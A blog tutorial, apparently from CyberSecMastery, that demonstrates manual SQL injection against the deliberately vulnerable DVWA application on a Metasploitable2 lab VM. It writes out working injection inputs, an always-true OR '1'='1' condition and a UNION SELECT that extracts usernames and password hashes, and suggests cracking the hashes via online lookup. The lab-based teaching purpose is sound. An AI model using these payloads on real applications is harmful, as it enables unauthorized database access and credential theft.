Illuminating the Inner Workings of SQL Injection Through Examples

SQL injection is a widespread vulnerability in web applications. In a previous video, we explored SQL injection using SQLmap. If you haven't watched that series yet, you can click the "I" button to view it now. 

SQL Injection Guide by CyberSecMastery

This guide provided by CyberSecMastery covers SQL injection, an attack technique used to exploit vulnerabilities in web applications that interact with databases. Understanding SQL injection is crucial for developers and security professionals to build and secure web applications effectively.


Today, we're delving into SQL injection without relying on any tools. Instead, we'll employ manual exploitation methods to gain a deeper understanding of its mechanics.



To facilitate our demonstration, we'll utilize DVWA (Damn Vulnerable Web Application), commonly found on various vulnerable VMs like Metasploitable2 and OWASP Broken Web Application, which we've previously installed.

Learn More Metasploitable2

Metasploitable 2 Ethical Hacking Guide by CyberSecMastery

This guide provided by CyberSecMastery covers ethical hacking techniques using Metasploitable 2, a vulnerable virtual machine designed for penetration testing practice. Understanding how to use Metasploitable 2 is essential for learning and practicing ethical hacking skills.


Learn More OWASP BWA

Setting Up Broken Web Application Environment by CyberSecMastery

This guide by CyberSecMastery explains how to set up a broken web application environment for security testing and training purposes. Understanding how to work with vulnerable web applications is crucial for learning about common security flaws and how to mitigate them.

In this article, I'll showcase SQL injection using Metasploitable2 to provide a thorough demonstration. But before we dive into the SQL injection technique, let's first familiarize ourselves with the SQL commands required to access the DVWA database.

Let's begin by launching the Metasploitable2 VM. 

We'll access the Metasploitable2 VM from Kali Linux. To do so, we need to obtain the IP address. Keep in mind, the default login credentials for Metasploitable2 are both 'msfadmin'. To find the IP address of Metasploitable2, execute the 'ifconfig' command. 

The IP address of the Metasploitable2 VM is 192.168.95.8. Return to Kali Linux and we'll use the SSH command-line utility to establish access.

Open a terminal. Execute the command "ssh" followed by the username and the target's IP address and also add the host key algorithm. 

┌──(kali㉿kali)-[~]
└─$ ssh [email protected] -oHostKeyAlgorithms=+ssh-rsa
[email protected]'s password: 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Mon May  6 12:53:46 2024 from 192.168.95.3
msfadmin@metasploitable:~$

To access the MySQL database server, use the command "mysql -u root -p". 

msfadmin@metasploitable:~$ mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

Upon execution, you'll enter the MySQL command-line interface, allowing you to execute SQL queries and manage the database.

Execute the command "SHOW DATABASES;" to fetch the names of all databases stored on the server. 

mysql> show databases;                                                                                                                      
+--------------------+                                                                                                                       
| Database           |                                                                                                                       
+--------------------+                                                                                                                       
| information_schema |                                                                                                                       
| dvwa               |                                                                                                                       
| metasploit         |                                                                                                                       
| mysql              |                                                                                                                       
| owasp10            |                                                                                                                       
| tikiwiki           |                                                                                                                       
| tikiwiki195        |                                                                                                                       
+--------------------+                                                                                                                       
7 rows in set (0.00 sec)                                                                                                                     
                                                                                                                                             
mysql>

This information will be displayed in your command-line interface or any MySQL client you're utilizing. Use the command "USE dvwa;" to set the current database to "dvwa". 

mysql> use dvwa;                                                                                                                             
Reading table information for completion of table and column names                                                                           
You can turn off this feature to get a quicker startup with -A                                                                               
                                                                                                                                             
Database changed
mysql>

Next, type "SHOW TABLES;" to display the tables stored within the DVWA database. 

mysql> show tables;                                                                                                                         
+----------------+                                                                                                                           
| Tables_in_dvwa |                                                                                                                           
+----------------+                                                                                                                           
| guestbook      |                                                                                                                           
| users          |                                                                                                                           
+----------------+                                                                                                                           
2 rows in set (0.00 sec)                                                                                                                     
                                                                                                                                             
mysql>

Here, You'll see two tables listed: "guestbook" and "users". To retrieve all rows and columns from the "users" table, execute the query "SELECT * FROM users;".

mysql> SELECT * FROM users;                                                                                                                  

The asterisk (*) stands for "all columns", so this query fetches every column of every row in the table. It's a quick way to gather all the information stored in that table.

+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+    
| user_id | first_name | last_name | user    | password                         | avatar                                                |    
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+    
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/admin.jpg   |    
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg |    
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | http://172.16.123.129/dvwa/hackable/users/1337.jpg    |    
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   | 
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  | 
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
5 rows in set (0.00 sec)

mysql>

MySQL will fetch all rows and columns from the "users" table and present them as a result set. Data in SQL is organized into columns and rows. You'll observe a series of columns such as User ID, First Name, Last Name, User, Password, Avatar, etc., with unique entries listed in the rows.

It's essential to note that the password stored in the database is not the actual password but rather a hashed version. Hashing is a one-way algorithm that converts the password into an encoded value. This measure is implemented to safeguard user passwords in case of a security breach, as hashed passwords are challenging to reverse back to their original form.

These are fundamental aspects of SQL queries for interacting with a MySQL database. Moving forward, I'll demonstrate how SQL injection works

You'll see the web application interface, and from there, you'll need to devise techniques to inject and structure your syntax in a manner that triggers unexpected behavior in the application.

To begin, open your browser and navigate to the IP address of Metasploitable2. Then, access the DVWA (Damn Vulnerable Web Application).

You'll need to input the DVWA username and password to access the dashboard. The default username is "admin" and the password is "password". 

After a successful login, you'll be directed to a dashboard where you can practice and enhance your web hacking skills.

Ensure that the DVWA security level is set to low.

Now, let's delve into SQL injection. Click on the SQL Injection link to proceed with the explanation.

In the DVWA application, on the SQL Injection page, you'll notice a prompt for a User ID. Approach the application as you would with a regular user.

Entering a User ID of 1, you'll observe that it displays "First name: admin" and "Surname: admin."

Behind the scenes, when User ID "1" is used, a query is executed on the MySQL database to retrieve the first name and last name.

Let's examine the queries executed on the MySQL shell.

Executing the query SELECT first_name, last_name FROM users WHERE user_id = '1';, MySQL retrieves the first name and last name of the user with ID '1' from the "users" table. 

mysql> SELECT first_name,last_name FROM users WHERE user_id='1';                                                                            
+------------+-----------+                                                                                                                   
| first_name | last_name |                                                                                                                   
+------------+-----------+                                                                                                                   
| admin      | admin     |                                                                                                                   
+------------+-----------+                                                                                                                   
1 row in set (0.00 sec)                                                                                                                      
                                                                                                                                             
mysql>

This information is returned as a result set, typically containing a single row with the user's first name and last name.

Likewise, if we input a user ID of 2, the database will return "Gordon" and "Brown". 

This process may seem familiar, as we've already explored the backend database. 

mysql> SELECT first_name,last_name FROM users WHERE user_id='2';                                                                             
+------------+-----------+                                                                                                                   
| first_name | last_name |                                                                                                                   
+------------+-----------+                                                                                                                   
| Gordon     | Brown     |                                                                                                                   
+------------+-----------+                                                                                                                   
1 row in set (0.00 sec)                                                                                                                      
                                                                                                                                             
mysql>

However, under normal circumstances, accessing this data directly would not be possible.

Returning to the SQL injection example, our goal is to identify if there's a potential SQL injection vulnerability. To do so, let's introduce unconventional SQL syntax and observe the application's response.

Apostrophes(') are commonly used to test for SQL injection vulnerabilities. 

In our previous SQL shell session, we used apostrophes to enclose strings passed to the application. Let's observe the outcome when we input just an apostrophe.

Encountering a common error message stating "you have an error in your SQL syntax" often indicates vulnerability to SQL injection. While we'll discuss vulnerability detection further later on, for now, understand that the presence of an apostrophe breaking the SQL syntax implies potential for manipulation.

In our previous MySQL shell session, we queried for first name and surname from the "users" database where the user ID is ‘1’. Recognizing the possibility of disrupting SQL syntax, we can anticipate potential user IDs and request additional data.

Let's experiment with logic manipulation without necessarily disrupting the syntax. To achieve this, let's input an apostrophe(') that doesn't always break the syntax but may yield interesting outcomes. Knowing that the query is enclosed with opening and closing apostrophes, let's manipulate the syntax.

After the WHERE id='1' clause, which verifies if the value in the "id" column equals '1' and filters rows accordingly, we'll introduce a logical operator. By using the OR logical operator, we allow either condition to be true for the row to be included in the result set.

Subsequently, we'll employ the condition '1'='1', which is always true because it compares the string '1' with itself. This condition is frequently exploited in SQL injection attacks to coerce the query into returning all rows from the table.

SELECT first_name,last_name FROM users WHERE user_id='1' OR '1'='1';

Executing the query `SELECT first_name, last_name FROM users WHERE id='1' OR '1'='1';`, MySQL retrieves the first name and last_name from the "users" table where either the user ID is '1' or the condition '1'='1' evaluates to true. As the condition '1'='1' always holds true, this query effectively returns all rows from the "users" table.

mysql> SELECT first_name,last_name FROM users WHERE user_id='1' OR '1'='1';                                                                  
+------------+-----------+                                                                                                                   
| first_name | last_name |                                                                                                                   
+------------+-----------+                                                                                                                   
| admin      | admin     |                                                                                                                   
| Gordon     | Brown     |                                                                                                                   
| Hack       | Me        |                                                                                                                   
| Pablo      | Picasso   |                                                                                                                   
| Bob        | Smith     |                                                                                                                   
+------------+-----------+                                                                                                                   
5 rows in set (0.00 sec)                                                                                                                     
                                                                                                                                             
mysql>

Copy the condition that filters the rows returned by the query and paste it into the user ID field. 

Click on the submit button to display the same data retrieved previously from the MySQL database.

We've successfully gained arbitrary access to the backend database.

The next step involves a slightly complex task requiring familiarity with SQL syntax. Our objective is to steal usernames and passwords.

SQL queries feature a UNION SQL keyword, allowing us to merge the results of multiple SELECT statements into a single result set.

Utilizing the UNION SQL keyword, I'll craft another query to select the user and password columns from the "users" table. The aim is to extract sensitive information, such as usernames and passwords, from the database.

SELECT first_name,last_name FROM users WHERE user_id='1' UNION SELECT user,password FROM users;   

Upon execution, the first query is processed, followed by the union query, which consolidates the usernames and passwords into the same column names.

mysql> SELECT first_name,last_name FROM users WHERE user_id='1' UNION SELECT user,password FROM users;                                      
+------------+----------------------------------+                                                                                            
| first_name | last_name                        |                                                                                            
+------------+----------------------------------+                                                                                            
| admin      | admin                            |                                                                                            
| admin      | 5f4dcc3b5aa765d61d8327deb882cf99 |                                                                                            
| gordonb    | e99a18c428cb38d5f260853678922e03 |                                                                                            
| 1337       | 8d3533d75ae2c3966d7e0d4fcc69216b |                                                                                            
| pablo      | 0d107d09f5bbe40cade3de5c71e9e9b7 |                                                                                            
| smithy     | 5f4dcc3b5aa765d61d8327deb882cf99 |                                                                                            
+------------+----------------------------------+                                                                                            
6 rows in set (0.00 sec)                                                                                                                     
                                                                                                                                             
mysql>  

Let's test this on DVWA's SQL injection feature. 

Upon execution, an error message indicates a syntax error in SQL.

The syntax presented above may disrupt functionality due to the rogue apostrophe at the line's end (automatically added by the web application). 

However, the pound sign serves as a comment character, instructing SQL to disregard everything following it.


This syntax instructs SQL to provide usernames and passwords from the "users" table and merge them with the previously retrieved data. Entering this string into DVWA yields the desired data.

As observed, we've disrupted the web application's functionality. The initial record, "admin admin," is as expected since we requested the first record with id=“1.” Furthermore, by querying other users and passwords from the "users" table, we encountered hashed passwords within the surname field.

While hashed passwords are theoretically irreversible, many common password hashes are available online. A quick search can often yield the unhashed version of these passwords.

Clicking on any of these search results reveals the password.

This process provides insight into how SQL injection operates. If you wish to explore SQL injection using an automation tool, I recommend using SQLMap. Refer to the accompanying video for further details.

If you have any doubts or queries, feel free to write them in the comment section.

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!